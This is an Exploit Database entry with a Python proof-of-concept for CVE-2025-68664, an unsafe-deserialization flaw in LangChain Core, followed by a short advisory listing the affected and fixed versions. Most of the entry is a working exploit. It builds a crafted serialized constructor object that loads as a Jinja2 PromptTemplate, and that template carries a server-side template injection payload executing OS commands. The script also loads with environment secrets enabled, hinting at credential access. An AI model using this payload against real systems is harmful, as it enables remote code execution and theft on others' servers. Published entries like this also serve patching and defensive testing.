This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING LangChain Core 1.2.4 - SSTI/RCE EDB-ID: 52514 CVE: 2025-68664 EDB Verified: Author: BANYAMER Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-04-29 Vulnerable App: # Exploit Title: LangChain Core - SSTI/RCE # Date: 2025-12-29 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Contact: @banyamer_security (Instagram) # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.langchain.com/ # Software Link: https://pypi.org/project/langchain-core/ # Version: < 0.3.81 and < 1.2.5 # Tested on: Python 3.10 - 3.12 # CVE : CVE-2025-68664 # Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious PromptTemplate # with Jinja2 format, leading to Server-Side Template Injection and arbitrary command execution. import os from langchain_core.load import dumps, load from langchain_core.prompts import PromptTemplate # Set a dummy env var (demonstrates potential secret access if needed) os.environ["TEST_SECRET"] = "secret_value_123" # Malicious constructor payload targeting PromptTemplate with SSTI payload = { "exploit": { "lc": 1, "type": "constructor", "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"], "kwargs": { "input_variables": [], "template": "{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}", "template_format": "jinja2" } } } # Serialize (dumps does not escape 'lc' key) serialized = dumps(payload) # Deserialize - instantiates the malicious PromptTemplate deserialized = load(serialized, secrets_from_env=True) # Extract and invoke the malicious prompt → triggers SSTI → RCE malicious = deserialized["exploit"] output = malicious.format() print("[*] Command execution output:") print(output) Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.
A critical Server-Side Template Injection (SSTI) and Remote Code Execution vulnerability (CVE-2025-68664, CVSS 9.3) exists in LangChain Core due to unsafe deserialization in the `load` function, allowing instantiation of malicious PromptTemplate objects with Jinja2 templates. Affected versions are langchain_core < 0.3.81 and langchain_core >= 1.0.0 < 1.2.5. The fixed versions are 0.3.81 and 1.2.5.